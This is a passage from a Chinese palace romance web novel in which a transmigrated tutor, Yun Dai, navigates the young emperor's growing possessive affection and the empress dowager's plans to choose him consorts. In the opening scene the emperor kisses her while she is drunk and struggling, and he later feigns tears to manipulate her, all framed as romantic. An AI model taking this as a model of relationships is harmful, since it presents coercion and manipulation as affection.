骆明烛垂头,埋在云黛脖颈间嗅了嗅,胸腔都被她的气息填满。议事过后的疲倦都被一扫而空,兴奋逐渐蔓延出来。 耳畔响起她的控诉声:“我还特的回去再给他解释一遍,他根本不让我进去!哼!我再也不要去了!” 怀抱骤然收紧。 骆明烛从她脖颈间抬起头,眸光幽深,眼里似乎燃起了一团火,这团火蔓延到他胸腔,烧得越来越旺。 “不行。” 他看着云黛醉醺醺的模样,脸颊上满是绯红,半张的眼好像被水浸泡了,雾气氤氲。她的眼睫一直在颤,他的心也跟着一起颤动。 “黛姐姐不可以抛弃孤。” 云黛好像听到了骆明烛在说话,她不客气哼了一声,双手推他:“就要,就是不想见你了!” 话音刚落,骆明烛双手掐住云黛的腰,让她坐在自己腿上,左臂环住她纤细腰肢,右掌顺着她背脊往上,拂过她细腻的脖颈肌肤,摁住她后脑,压向自己。 他靠在车壁上,将人按入自己怀里。 “孤不会给黛姐姐这个机会的。” 他咬住云黛的唇,狠狠吻了上去。 第32章 酒气夹杂着女子身上的淡香,扑入鼻中。 骆明烛轻轻喟叹,不受控制地加大力道,紧紧按住她,唇齿掠夺她的呼吸,捕捉她香软的唇舌,不让她逃脱。 她的味道,能让他上瘾。 从那晚尝过一次后,一发不可收拾。 呼吸逐渐粗重,他的攻势越来越猛。 怀里的人开始挣扎,推着他的胸膛,但醉酒后没什么力气,根本没推动。 “松、松……” 云黛想让这个人松开自己,只说出了一个字音,剩下的话全被吞入他口中。 只觉得唇发麻,一直被人咬着,一会吮吸,一会轻轻磨着,根本合不上。 最后张得下巴都僵了,还没有被松开。 按在后脑的手掌蹭乱了她的发髻,散开的发丝垂落,遮住相贴的唇,掩盖那旖旎艳色。 云黛忽然使劲推了他一下,脑袋后仰,银丝从分离的唇拉长,缓缓坠下。 她眨了眨眼,有点弄不清楚现在是什么情况。本就泛着红晕的脸颊在亲吻下更是红艳,比那天边的彩霞还要艳丽。 她睁开眼,仔细看面前的人,总觉得有好几个小人在飘,干脆伸手去抓,一下捧住骆明烛的脸,凑近去看。 “骆……明烛?” 她直呼他大名。 骆明烛眼瞳一颤,目光瞬间凝聚在她身上,有那么一瞬间,心好像被她唤的这声名字震到。 被吻得红肿的唇微张,混着酒味的气息溢出,她望着他的眼神少见的朦胧,加上她脸上的因为亲吻而浮现的粉,看着如同绽 放的花,叫人忍不住对她做更过分的事。 骆明烛并没有觉得她这么喊自己是冒犯,反而很想她再喊一遍,五遍,十遍,一直喊。 知道自己有这样的念头是不对的,但他没有遏制。 况且还没有惩罚够这个骗子,怎么可能罢休。 “嗯。”他弯了眼眸,眸光灿烂,宛若星辰,看她的眼里全都是可怕的占有欲。 “黛姐姐酒醒了吗?” 云黛摇头,又点头,声音飘飘的,显然酒还没醒:“我没喝醉。” 骆明烛忽然笑出了声。 再次埋入她脖颈间,深深呼吸。 “黛姐姐就是醉了。” 云黛没好气地拍了一下他,强调:“我没醉!” 醉酒的人当然会说自己没醉。 骆明烛发现了她另一面,更为活泼,更像是她的本性。 以往所见到的她总是带着悲悯的神情看他,让他觉得自己和她之间隔着一层膜,而她,像是在看生活在膜后的人,一点都不真实。 这一刻,她会显露出不满,直接唤他的名字,他才会觉得自己是真真切切与她相处在同一个时空,那层膜终于破开,所有的接触,都是真实的。 “黛姐姐真的没有醉?” “我没有,不信你看!”云黛忽然靠近他,离得很近,只要骆明烛稍微朝她的方向一动,就能碰到她的唇。 行驶的马车忽然颠簸,车厢内的人随之起伏,身子被颠起来,再落下。 云黛一时间没控制住自己,身子撞上了骆明烛脸颊,磕到了唇,抽痛令醉酒的人短暂清醒,眼前的视线清晰,云黛一眼就看到了讨厌的人,啪的一下瞪大了眼。 清楚记得就是这个人弄得自己郁闷好久,不想给他好脸色看,开始叭叭。 “我问你!你为什么不让我进去!” 骆明烛没有说话,云黛根本没有给他开口的机会。 “我明明都跟你说了我是被威胁的,你为什么不相信!”云黛本来想掐他的下巴,像电视剧里那样很有压迫力的那种,但眼前一阵模糊,掐不准,最后按到他嘴唇上去了。 骆明烛张唇,轻轻含住。 柔软的触感从指尖传到全身,云黛忽然抖了一下身子,猛地抽回手,动作太大,差点从他身上摔出去。 骆明烛手疾眼快扶住她后背,重新压向自己。 “孤没有不信。” 那就是他做的。 云黛双手在他身上胡乱动,最后扯住了他衣领,做出一副凶巴巴的样子,质问他。 “那你干嘛要赶我走,我后来来的时候,都不让我进去。” 骆明烛哑然,不知她后来还来过,那时他已经出宫,与手下人议事,乾坤里只留下个替身。故意引出这个话题,也是为了刺激她,想看看自己在她心里,份量究竟有多重。 现在么…… 他垂了眸,眼眸几乎被笑意全部填满。 他很满意云黛的反应。 按着她后背的手收紧,曲起的骨节泛白,青筋凸起,他都快要控制不住自己,真想现在就把她占为己有。 “是孤做错了,黛姐姐可以不要生孤的气吗?” 云黛一听,不知哪来的力气,一把推开他,将人直接推到了车壁上。 本来骆明烛没觉得有多痛,脑海中忽然闪过她心疼自己的模样,眨眼间皱起眉头,出口的声音沙哑:“黛姐姐,你推疼孤了。” 酒劲上来,云黛又迷糊了,骆明烛的声音还算清晰地传到脑中,下意识去给他摸摸。 哼了一声,“我没有用力啊,是你太弱了。” 骆明烛眼底划过暗色,忽略她后半句,轻轻地蹭了她的唇,盯着她唇上比周围暗红的那处,沙哑着声音开口说:“可是黛姐姐就是伤到孤了。” 他很没有底线地在她面前撒娇,知道自己要用什么语气,表现出什么样的状态,能引起她心疼。 云黛自己嘴巴还疼呢,都没顾得上给自己摸,先哄他去了。 “哪里疼啊?” 云黛眼睛都睁不开了,摸了几下他的肩膀,找不到他撞疼的地方,有点急躁。 “这里。” 骆明烛握住她的手,带着她按在自己后背上。她的指尖很热,热得他一握上去,不想松开。 云黛胡乱摸了一会,眼皮越来越沉,已经撑不住了,还记得哄他:“不痛了不痛了,痛痛飞。” 刚说完,眼睫垂下,脑袋砸在骆明烛肩头,意识下沉的最后,不忘警告他。 “你以后再惹我生气,我就不理你了。” 骆明烛愣神片刻,低头一看,人已经闭上眼,睡着了。 墨色翻涌的眼眸一瞬不瞬地看着她,笑意里有什么更加深沉的东西荡开,将瞳孔占据。 骆明烛抱紧了她,下巴蹭着她脖颈,声音很低:“黛姐姐不会不理孤的。” 少年天子唇角浮上笑容,纯粹得如云黛初见他时见到的笑,但这笑缓缓变了质,不再是单纯的带有欺骗性的笑。 里头,满满都是对她的占有。 等云黛醒来的时候,天是暗的,躺在床上偏头朝窗外看,隐约还能看到一点点的夕阳。 撑着床铺刚要起来,头痛欲裂,立刻躺了回去。 “系统,我头怎么这么痛?” 系统上线,但沉默了好一会才回答:“宿主,你昨天去喝酒了。” 云黛哦了一声,这个她还记得,揉了揉太阳穴,正准备起来,一个激灵瞬间清醒。 “那我是怎么回来的?” 系统用它那一点起伏都没有的声音说:“昨天你一个人喝醉了,拉着个人继续喝,然后贺雁山来了,你就和他走了,最后应该是骆明烛带你回来的。” 其实有件事它没说,骆明烛和贺雁山的关系好像没那么简单,不过只有那么一会接触,它也判断不出来。 它在云黛诧异骆明烛怎么会出宫时,放出一个炸弹:“哦,骆明烛还亲了你。” 云黛猛地一抬头,动作太猛,脑袋受不了刺激,一阵晕眩,晕得她恶心。 缓了好一会,恶心感减弱,她睁着惊愕的眼,说话都结巴起来:“你,你说什么?骆明烛干了啥?” 系统重复:“他亲了你。” 系统补充:“哦,你还推人家,推得他撞到车壁,他说疼,你就去摸他哪里痛,还说痛痛飞。” 系统为什么记得那么清楚呢,就是因为那个时候云黛情绪亢奋得不正常,幸好后面酒劲上来,她睡着了,不然还不知道她又要和骆明烛做出什么事来。 系统沉思,现在事情好像和原书剧情偏离得根本认不出来了,它是不是该换个思路过剧情? 它沉思,云黛已经大脑宕机了。 尤其是听到骆明烛又亲了自己。 “???” “他亲我干嘛?” 云黛双手抱紧自己,倒吸一口气:“他不会看上我了吧?” “那完了,我就要走原书剧情,被袁络仪刀了!” 系统安抚她:“宿主别担心,现在你已经将这剧情走得原书作者来都不认识了,不一定会被袁络仪杀了。” “呵呵,我在这,袁络仪想杀人不是一句话的事。” 系统:“是哦。” 云黛真的很想投诉系统,一点用都没有! 她还是接受不了自己被骆明烛亲了,这都是什么事啊,上次亲是意外…… “哦,上次他亲我是以为那是我要教他的东西,上上次才是意外。” 云黛很烦,“我现在在哪——” 话音戛然而止,扫视周围,很熟悉,有点崩溃。本来想发泄一顿就跑路的,结果人被带回来了。 再一看自己身上衣服,还好好的,安了心。 “还好还好,还没被他扑倒。” 这个念头一出,云黛眼前闪过零星画面,正是自己按着骆明烛质问他为什么赶自己走。 脑中轰隆一声,人已经炸开了。 “系统,你说我今晚就跑路,怎么样?” 系统:“我觉得不怎么样。” 夜晚宫门关闭,不可出宫,除非她翻过那好几米高的宫墙。 云黛愣了一会,坐起来收拾东西。 系统 问她:“你真要跑路?” “我只是要去沐浴。” 云黛拿了换洗衣裳,一开门就看到小福子,立刻把门关上。 小福子守了几个时辰了,好不容易见到人醒,高兴道:“尚仪大人,您醒了?陛下让我来守着你,等你醒来,带你去乾坤宫。” 云黛心口一跳,第一反应就是不去。 “我累了,想休息,你回去吧。” 小福子哎呦一声,说:“陛下是想与你解释昨日的事,你不去,陛下便不休息,一直等你。” 云黛跺了一下门脚,没好气道:“我就是不去!” 第33章 “怎么又吵架了?” 小福子不是很懂这两人之间的事,想来想去,更是奇怪,不应该啊,和好了又吵架了? “尚仪大人,陛下等你很久了——” 这句话被云黛一句话冲了回去。 “那就别等了,早点洗洗睡吧。” 云黛已经豁出去了,爱咋咋的,他等她就必须得去吗? 早干嘛去了! “宿主,我觉得你该冷静一下。”系统想把自己的发现告诉她,但她现在很不冷静,估计也听不下去。 云黛确实不冷静,感觉自己好像在没有道理地发火,就是那种也没有多大的事,就是想发火不高兴。 云黛把门一锁,往床上一躺,不打算去沐浴了。小福子还在外面说,云黛没什么心情去听,想了想,问系统:“骆明烛是怎么找到我的?他出宫袁络仪不会说他吗?” 系统也不知道:“你可以亲自去问骆明烛,他肯定会告诉你。” 云黛不想和系统说话了,她要是想去问骆明烛,干嘛还问系统。 “为什么会……” 她躺在床上,没有任何征兆地打了个滚,捂住脸,嚎了一声。 “我就不该心软,我就应该直接按原书剧情来,然后被他扑倒被袁络仪刀了直接去地府排队投胎去。” 系统想给她倒杯茶,让她润润嗓子,一口气说这多话嗓子肯定干。 “我喝醉了,没说什么不该说的话吧?” 系统:“你猜。” “……”云黛睁开眼,咬牙切齿:“系统,我想打你。” 系统不说话了。 外头没有小福子的声音,云黛蹑手蹑脚去窗户那看,小福子走了。 她重新拿起衣衫去沐浴。 小福子耷拉着脑袋,声音低落:“奴才没能请到尚仪大人来。” 矮桌后坐着的人放下茶盏,没有说话。 小福子忍不住问:“陛下,尚仪大人看起来很生气,您与她,又闹了……” 骆明烛抬眸,那眼神看得小福子一阵心颤。只听到他低沉的声音,语气很微妙。 “她很生气?” 小福子点了头,旋即听到一声笑,这笑听起来很是愉悦。 “她还生气呢。” 小福子不懂这话里是什么意思,但是应该不生气,所以只是云黛在生气? “那昨日您……” 小福子想起昨晚骆明烛抱着云黛回来时,宫女要帮着带云黛回去,却被骆明烛冷眼斥退,仔细一想,情况有些不对劲。 陛下好像对云黛动了别的心思。 难道是…… 小福子不敢问,还未尘埃落定前,一切随时会变。 “那奴才明日再去请尚仪大人来?” 骆明烛没有给出指令,起身走向屏风,小福子问第二遍时,他才开口。 “不必。” 小福子惊讶,明日不去请云黛来说清,岂不是几日都见不到她了?那陛下又要独自待着。 “可尚仪大人——” “孤亲自去请。” 云黛一晚上没睡着,翻来覆去,脑子里全都是骆明烛亲了她,她被骆明烛亲了。 “烦。” 重重拍了一下被褥,一骨碌窜起来,睁着已经很疲倦的眼皮,脑子乱成浆糊。 “系统,我睡不着。” “那就数羊。” “没心思数。” “那就睡觉。” “睡不着。” “那就——” “你能不能说点有用的!” 系统:“……” “要不然你直接去找骆明烛,问他为什么亲你,这还不有用?” “就是因为不想见他我才烦啊!” 系统不懂她为什么不想见,见个面不就讲清楚了,非得忍着。 “算了,不想了,睡觉。” 云黛盖上被子,闭上眼,听到了重锤声。 “系统,是不是有人在拿锤子敲?” 系统:“要不你把你手心放在胸口试试呢。” 云黛哦了一声,原来是心在跳啊。 她没再说话,逼着自己睡觉,不要去想骆明烛。但是睡了一整天,这个时候根本睡不着,熬了一整夜。 外面什么时候天亮的,什么时候有人来打扫院子,她都听得一清二楚。 在床上躺到日上三竿,才决定起来。 顶着黑眼圈打开门,一身黑袍的人就站在面前。 云黛眨了眨眼,觉得自己可能幻视了。 再揉了眼睛,那人不仅没消失,还更清楚了,那张让自己一晚上没有睡着的脸对自己笑,还在说:“黛姐姐醒了?” 云黛迷迷糊糊点了头,随后啪一下就想起来,自己面前的人是骆明烛! 刚要关门,他的手按上来,抵住门,不让她逃避。 “黛姐姐不想见到孤?” 云黛尴尬摇头,动了动门,发现他力气很大,根本关不上。 再一看面前的人,明明之前见到的他,都是一副乖巧的模样,怎么看都是不谙世事的单纯少年。 可现在他站在她面前,身影完全将她覆盖,看着如同一座山,难以撼动,极具压迫感。 不知道是不是自己的错觉,云黛觉得现在的骆明烛变了,很不像自己印象中的骆明烛。 “那黛姐姐为何要关门?” 云黛说不出来,明明干坏事的人是他,心虚的反倒变成她了。 所以她准备装傻。 “陛下来我这,有什么事吗?” 骆明烛看她的眼神分外专注,听到她这么说,心知她是要将昨晚的事抛开,闭口不谈,就像那晚她从寝殿里跑走,说要他忘了。 她不仅骗他,还不想负责。 骆明烛轻轻笑了笑,面上依旧是能让人放松警惕的无害模样:“前日黛姐姐醉酒,孤很担心,孤怕打扰黛姐姐休息,昨日便未来看黛姐姐,黛姐姐是因为这个,生孤的气吗?” 云黛一愣,她根本没有这么想,刚要说没有,骆明烛忽然朝她逼近一步。 “黛姐姐为何要出宫,去酒楼饮酒?” 云黛眨了眨眼,又眨了下眼睛,结结巴巴说出来:“我,我就是出去喝个酒……” 对啊,她就是去喝个酒而已,她想喝就喝了,他这是在质问她吗?他有什么资格质问她?都是他惹的祸,她都没去质问他为什么要赶自己走,他倒跑来质问她。 云黛的底气瞬间足了。 “我就是喝了,我喝个酒你也要管我吗?” 她双手叉腰,哼了一声,说完却更心虚,还有点难过。 少年天子只是静静望着她,随后轻声说了句:“黛姐姐想做什么,便做什么。” “只是看到黛姐姐醉酒,孤会担心。” 骆明烛冲她笑了笑,看得云黛心一抽,那是个很失落破碎的笑容,仿佛他被她伤到了,很难过。 只那么一会,她想着要不要放下自己纠结的事,说起来也只是件小事,也没什么能揪着不放的。 不等她开口,骆明烛直接说了。 她错愕望他,脑子里只回荡那一句话: “因为孤在意黛姐姐,所以听到黛姐姐没有与孤商量就那么做,孤会觉得黛姐姐 不在乎孤,把孤当成一个可有可无的玩物,随意摆弄……” 云黛大脑宕机,尽量消化骆明烛的话,愣愣道:“我没有把你当成玩物。” “那黛姐姐的意思是,也是在意孤的?” 云黛点头:“对呀……” 她忽然一个激灵,脱口而出:“你带我回来的时候,是不是亲我了?” 话音刚落,就见少年天子眼神闪躲,微微垂了眼睫,点了头。 “你为什么……”云带在想要怎么说,才比较委婉,但根本不用她想,骆明烛直接就说出来了。 “孤好像有点奇怪。”骆明烛歪头,抬手按住自己胸口,垂着眼帘,眸光里透着困惑:“孤看到黛姐姐,这里会跳。” 纤长的眼睫掀起,少年天子望着眼前逐渐瞪大眼的人,眼底墨色更深,稍稍一眨眼,困惑浮上来,急切地想要知道为什么。 “黛姐姐,孤是病了吗?” “啊……”云黛不知道该怎么回答他,疯狂喊系统。 “快告诉我,我要怎么解释!” “我不行了,他这是在干什么!” “坏了坏了坏了,他怎么会对我产生这种心思!” 云黛在心中发出哀嚎。 我们是纯正的师生关系啊! “黛姐姐在听孤说话吗?” 云黛猛地回神,连忙说:“在听在听,我在听……” “黛姐姐在敷衍孤。” 少年天子缓缓站直了身子,高大的身躯几乎将日光挡住,本该是极具压迫力的存在,但他脸上却露出了沮丧的表情。 云黛发誓她真没有,就是被他的话吓到了没反应过来。 “黛姐姐果然还是……” 少年天子轻轻眨了眼,立刻湿了眼眶。 云黛见他要哭,赶紧上手给他擦眼泪。 “我没有,我真没有,我在听呢,你这不是病了,你这是——” 系统忽然冒出一句话:“他其实也算病了,相思病。” “你闭嘴!” 少年天子身子一颤,声音更破碎了:“孤不说了,黛姐姐不要生气。” “我说的不是你,你别哭啊。” 骆明烛蓦地掀起眼帘,还盈着泪花的眼一瞬不瞬地望着她,片刻后悠然笑了。 “那黛姐姐可以去孤那里了吗?”他眨了一下眼,泪水砸在云黛手心,很烫。 云黛立刻收回了手,虚虚握住,感觉自己的心也被烫了一下。 “昨日黛姐姐没有来教孤,今日可以补上。” 少年天子满脸期待,眸子都亮了起来:“或者孤可以在黛姐姐这学,孤不会乱动黛姐姐的东西。” 云黛啊了一声,还没从先前的话题回神,就听他要在她的房间学,登时愣住 好像书里剧情不是这么写的? 见她久久未答,骆明烛情绪又低落下来,“黛姐姐不愿意吗” 云黛总感觉不对劲,自己好像被他牵着鼻子跑了,偏偏还说不出拒绝的话。 “那……那就在我这吧。” 话音刚落,眼前的人立刻俯身,朝她靠近。 云黛心口一跳,猛地将他推开,往后退了好几步,才说话:“你干什么?” 第34章 不怪云黛反应这么大,她是真的已经被骆明烛突然靠近整怕了,动不动就亲上来,就算是小情侣也受不住这么亲,更何况他们俩关系—— 云黛愣住了,他们现在是什么关系? “孤只是想进来。”少年天子不解,“方才不是说,要在这里授课吗?” 云黛一回神,尴尬不已,“那你进来,进来。”还以为他又要亲上来呢。 双手很忙地摸摸自己耳朵,让开道,不由自主地和系统说:“我怎么感觉骆明烛有点不对劲?他看起来怪怪的。” 系统:“哦,是吗?” 骆明烛已经走进去,云黛不想跟系统说了,没有感情的机器,没什么好聊的。 扒着门瞅了外面,没见着有人,稍微安了心,后知后觉发现自己这动作跟做贼一样。 把门关上,一转身瞬间倒吸一口气。 骆明烛直接当着她的面把外袍脱了,单手拎着外袍,里头没几件衣衫,腰封束紧,将他健硕的身体轮廓展露无余。 他稍微低了头,似乎在看自己,随后抬头,问:“黛姐姐接下来要教孤什么?” 云黛艰难地吞咽了一下,手指僵硬地指了指他手上拿着的外袍,让他穿上。 还是没法过心里那一关,怎么都继续不了,要不然让他自己看画册自己学算了。 “黛姐姐?” 云黛脱口而出:“你就坐下就好了,你让我想想,想想……” “系统,告诉我,我要怎么教?真的很难动手啊!” 系统觉得奇怪:“想怎么教就怎么教啊,这有什么难的。”系统已经不再是刚开始的那个系统了,它已经无所畏惧,已经不抱任何云黛能按原书剧情走的希望了。 “黛姐姐?” 一声呼唤将云黛叫回神,再一看,骆明烛已经乖乖坐下,衣裳叠好,放在桌角。 云黛不由得感叹,他真是是个很乖还有点强迫症的人,上次也是要把衣服叠起来。 “那我们开始吧。” 云黛仔细一想,觉得反正都已经穿书了,多离谱的事都能遇上,干脆放飞自我得了,而且骆明烛长得也不错,她不吃亏。 于是她走过去,把椅子挪出来,坐到骆明烛对面,露出笑,咳了一声,一本正经胡说八道。 “是这样的,一般来说,这个,第一步……” 云黛忽然觉得自己教错了,这事不应该先酝酿酝酿,情到浓时,再褪下衣物,然后不由自主就踉踉跄跄了? 她怎么教成了先让骆明烛脱衣服? “额,这个男欢女爱,应该是先增进感情,然后再进一步接触。”云黛觉得自己说了等于没说,很想现在就跑了,泡冷水里冷静冷静。 “黛姐姐所说的增进感情,是要如何做?” 骆明烛忽然站起来,一步走到她面前,没有外袍遮挡,衣领处凸起的锁骨清晰可见,随着他手臂动作深深凹陷,看得人晃眼。 他在她面前停下,随后俯身靠近,双臂在她身体两侧伸过去,按在她身后椅背上,距离再一次拉近。 云黛眨了一下眼,双眼缓缓睁大,看到他放大的眼,清晰在他眼里看到自己的身影,只她一人。 这双眼专注地只看她一人,给人一种深情对视的错觉。 “你,你要……” 少年天子笑道:“孤在尝试与黛姐姐增进感情。” 云黛猛地松了口气,还以为他又要做些什么。把人按回去,她有点欲哭无泪:“不是离得近了,就能增进感情。” 她把自己看小说那会看到的套路告诉他:“你得在各种方面都要有所表现,就比如说,送些东西,带她出去玩,或者呢制造点惊喜。” “你这样就是小甜文,不是小h文了。”系统突然冒出一句话。 云黛不理它,继续说,关键是她想不出来怎么编了,男欢女爱在小h文里其实就是一上来就干,到她这变成纯情聊天,这玩意没什么好教的。 “算了,今天先不教了,等我去学学。” 云黛想起了刚开始袁络仪说要是那春宫图不够用,就找王嬷嬷要,现在她是真的需要了。 “你要不——” 云黛刚想说让骆明烛回去自己玩,眼前的人却语气低落,问:“黛姐姐是要赶孤走吗?” “额……”云黛轻轻嗯了一声,她确实是这个意思。 少年天子低低说了好,站起身,要走之时,忽然问她:“昨晚孤亲了黛姐姐,黛姐姐也不生气吗?” 云黛眨了眼,脑中轰隆一声,顿时想起来这个被自己刻意忘掉的一茬,都不记得昨晚被他亲是什么感觉了,她去哪生气。 “那都过去了,陛下忘了吧。” 她朝边上偏头,倒了杯茶喝,心里莫名其妙觉得不舒服,想了想,又说:“反正陛下以后会立后纳妃,会亲很多人……” 云黛低着头,捏紧空了的杯子,没再说话。 她自己听不出来,骆明烛可是将这话里头含着的情绪听得很清楚。 她未曾看到他面上的笑,带着得逞的意味。 “黛姐姐不愿孤纳妃吗?” 云黛嘟囔一句 :“那又不是我说了算的。” 书里他纳妃子都已经是原身死后半年的事了,要是按原书的剧情走,他要纳妃子她根本管不着。 “她们都挺好的,长得也好看,性格也好。”云黛嘟囔好几句,越来越觉得自己不对劲,平常她根本不会说这些的,怎么到骆明烛这,总是说这些有的没的。 “我想休——” 话戛然而止,云黛刚抬起头,一下对上骆明烛的眼,那双眼漆黑得如深渊,一眼看上去,魂被扯入,深陷进去。 “黛姐姐为何会这般说?她们是谁?黛姐姐见过?” 云黛一个激灵反应过来,骤然发觉自己说漏嘴了,赶紧糊弄:“没有见过,我就是觉得能入宫为妃的,都是大家闺秀,必然都是好的。” “是么?” 明明只是两个字,也没有流露更多的探究,云黛偏偏就心虚,心跳得飞快,连忙问系统:“我这不是剧透吧?你们这给剧透吗?” 系统:“你已经剧透过了,你觉得有事吗?” 云黛松了口气,那就没事了。 “嗯嗯,是的。”她往后退,移开视线,本以为事情到此为止了,结果骆明烛又问她:“那黛姐姐觉得,会有哪些女子,入宫为妃?” 云黛把书里的那些个妃子都说了一遍,没说皇后。 “那黛姐姐呢?” 骆明烛记住了她说的女子,最终却问她:“黛姐姐不想吗?” 云黛蓦地瞪大眼,张开了唇,第一反应竟然是想自己当皇帝,骆明烛当她妃子。 哎嘿,带劲。 但这只是个一闪而过的念头,她还没想好要怎么回答他。 骆明烛缓缓俯身,越来越靠近,双眼凝视她惊愕的表情,却在她眼里看到了答案。他扬起笑,指尖抚上她的脸颊,轻轻点了一下她的眼尾。 “黛姐姐怎么不说话?” 云黛只感觉自己眼尾被猫爪挠了一下,挠得她眼尾痒痒,心里也痒痒。 “我,我是觉得……” “啪嗒——” 屋外响起清脆一声响,像是小石子砸在门框上,云黛还没回神,没有听见。 骆明烛微微侧头,扫了眼窗外,笑容收了些。 “我觉得你其实——” 云黛想说骆明烛只要扳倒袁络仪,就不用被袁络仪安排收那么多妃子,到时候她要是还在,应该还会和骆明烛相处一阵子。 毕竟这个世界,她最有好感的人,也只有骆明烛。 “黛姐姐可以不用急着回答孤。” 她的话没有机会说出口。 骆明烛抬手,伸向她。 云黛下意识躲避,却听到他近乎在自己耳畔发出的笑声:“孤只是想拿自己的衣裳,黛姐姐不用躲。” 看到他拿在手里的外袍,云黛讪讪笑了一声,“你拿,你拿。” 旋即就想找个地方钻进去,小h文看多了,一看到他靠近,就觉得他要对自己做些什么不可描述的事。 “孤想起来还有些事未处理,今日先到这,明日黛姐姐再教孤。” 云黛愣愣点头,心想今天好像也没教什么东西。 门一开一合,屋子里就少了一个人,好一会,云黛猛地回神。 “!” “系统,骆明烛是什么意思?他要我给他当妃子?” 系统:“应该就是这个意思。” 云黛噌的一下站起来,差点把茶盏摔了。 “不可能,绝对不可能!” 那怎么能行,那他再娶妃子,她不得宫斗?不行,当牛马就已经很累了,再来宫斗她岂不是要比牛马还牛马? “算了,我还是跑路吧,这剧情越来越不对劲了。” 云黛又跑去收拾东西,这次看到原身的钱钱,双手合十,拜了一拜。 “抱歉,不是故意要拿你的钱,就当你做善事了,等我出去,给你烧一千亿的冥币。” 云黛刚收拾好,外头响起敲门声,吓得魂都不在身上。 “云尚仪可在?” 是王嬷嬷。 云黛将东西藏起来,应了一声。 “王嬷嬷有事吗?” “太后请云尚仪去永寿宫一趟。” 云黛心里一个咯噔,又来了。理了一下衣衫,走出去,就见王嬷嬷板着脸,冷眼看自己,真想给她一个白眼。 “云尚仪随奴婢走吧。” 王嬷嬷一转身,看也不看她,直接走。 云黛其实很想知道,按一般宫斗剧来说,她这种屡次不完成命令的人早就被杀了,袁络仪怎么会留她到现在,真是奇怪。 等云黛进了永寿宫见到袁络仪,直接被袁络仪一句惊呆了。 “陛下也不小了,至今后宫空虚,哀家想着帮他张罗张罗,为他从世家贵女中挑选些出来,入宫为妃。” 云黛愣愣听着。 “你觉得,这些贵女里头,哪些个合适呢?” 女子画像被一个个展开,云黛一看,全都不认识。 她想说,这事不应该是袁络仪和骆明烛来吗?关她什么事。 “哦豁,系统,这剧情彻底歪了。” 系统已经无所谓了,顺便给云黛一刀:“袁络仪喊你给骆明烛选妃呢。” 第35章 “陛下,允王已经动手了。” 暗卫将密报传来,等着座上之人下令。 小巧的金玉坠子在少年天子手中转了一圈,被他握住,低垂的眼帘下神情讳莫,殿内寂静,无人敢动。 “暂时不要动他,”骆明烛将玉坠一掷,哐当一声,伴随着他说话的声音:“孤倒是要看看,他能玩出什么花样来。” 暗卫又说起骆明烛令他查的另外一件事。 “云尚仪被陛下处死后,袁络仪召云尚仪去永寿宫前,云尚仪的住处将近一个时辰未曾有人踏足。” “所以无人可知,她是如何活了的。” 桌案上摊开的纸张满是字迹,正是云黛写的那些。 骆明烛垂眸瞧着上头的字迹,与“云尚仪”的字迹无一处相似。 “退下吧。” 暗卫离开。 骆明烛侧倚着椅背,曲起手指敲击扶手,盯着那纸上字若有所思。 …… 永寿宫内,王嬷嬷倒了茶,双手奉上。 袁络仪接过,抿了一口,挑眉看那浑身紧绷的人,笑道:“云尚仪可是挑不出来?” 云黛连忙点头,“这世家贵女都是天资聪颖之人,臣实在挑不出来。” 袁络仪笑意不减,饮了茶,将茶渣搁在小几上,忽地问她:“哀家命你交给陛下的东西,可教透了?” 云黛头皮发麻,这要怎么说,说其实啥都没教? “回太后,臣遭遇了些问题,正在想办法解决。”说着,她有点难以启齿,抬头看了眼王嬷嬷,还是说出来了:“上次的画册,臣不小心弄丢了,不知还有没有……” 王嬷嬷当即一顿骂:“这东西丢了?你能上点心吗?今日能弄丢此物,他日便可忘记太后命令,云尚仪,我看你是不想要你这条命了!” 云黛惶恐,她是真没有啊!真的是无意间弄丢的啊! 再说了她去找了啊,没找见啊,那能怪谁,要怪就怪骆明烛! 云黛没有再说话,低了身子,好紧张。 “系统,我今天该不是要死了吧?” 系统也不知道,只能安慰安慰她:“没事,现在死了就能去地府排队投胎了。” 云黛:“……不会说话就别说。” 袁络仪见她不说话,扯了扯嘴角,给了王嬷嬷一个眼神,暂且放过她。 “既然是不小心弄丢,哀家便不追究了。”袁络仪睨她一眼,眼底只有冷色,“下次再丢,可不是现在这般简单。” 云黛心口不一地说了谢,袁络仪又把话题扯到选妃上,还说起了皇后人选。 脂膏抹过的手翻开贵女小像,漫不经心地瞧着,忽而问:“云尚仪觉得,这些世家贵女中,谁更有资格做皇后?” 云黛愣神,不知道怎么想的,直接说了苏相千金。 袁络仪指尖一顿,抬眸看她,眼底划过杀意。 “哦?云尚仪为何觉得苏相之女更适合?” 云黛 自己胡诌了几句,原书里没有说为什么,小h文也不会说这些,不过她看电视剧里怎么夸的,就照着夸了一遍,说完,低着头不吭声了。 有点不高兴。 袁络仪似乎对云黛说的人感了兴趣,叫宫女把苏棠画像移到她面前,仔细观摩,还叫云黛一起看。 画中女子确实气质不一般。 袁络仪眼里透着几分满意,目光一转,慢悠悠道;“不若本宫做主,举办一场宴会,叫这些个贵女入宫来,哀家一个个瞧瞧。” 王嬷嬷在一边搭腔,说这个主意不错。 云黛听得呵呵,却又不是滋味。 脑子里想着乱七八糟的东西,冷不丁被人要求:“这事就交给云尚仪来做,你不会让哀家失望吧?” 云黛想拒绝,这种吃力不讨好的事,谁干谁倒霉,但她要是拒绝,定然没有好果子吃。 “臣一人恐是无法安排妥当……” 袁络仪当然知道,虽说是交给云黛做,但她必然是要安排人监视云黛。 “王嬷嬷会派人与你一起设宴。”袁络仪摆了摆手,宫女将画像卷起来拿走,殿内只剩下她们。 “这次宴会,你可要上心,若是出了岔子,你知道后果。” 云黛呵呵,她当然知道了,不就是掉脑袋吗。 “臣领命。” 袁络仪朝她摆手,让她离开。 云黛刚走出去,王嬷嬷让她停下,拿过来两本画册,还将贵女小像给她,冷声叮嘱:“这次再弄丢,太后可不会心软放过你。” “至于宴会,你若是出了差错,太后定然不轻饶你。” 云黛接过来,没有说话,由着王嬷嬷数落,等王嬷嬷说够了,她才走。 出了永寿宫,云黛走着走着,突然停住脚步,愣神好一会,想起了骆明烛在自己面前哭的模样,他要是娶了妻子,是不是也会在他妻子面前哭? “系统,你说……” 系统在等她把话说完,等了小半天也没等到她说话,不由得问她:“你要说什么?” 云黛也不知道自己要说什么,最终摇了头,回去休息。 绿翘今日回来的早,正好撞见她回来,打了声招呼。 云黛笑了笑,没什么精力说话,回去后就休息,打开王嬷嬷给的画册,和上次一样,画面露骨,根本不能看。 “唉!” 云黛觉得自己真是堕落了,居然也有看这种东西的时候,这可比小h文更h。 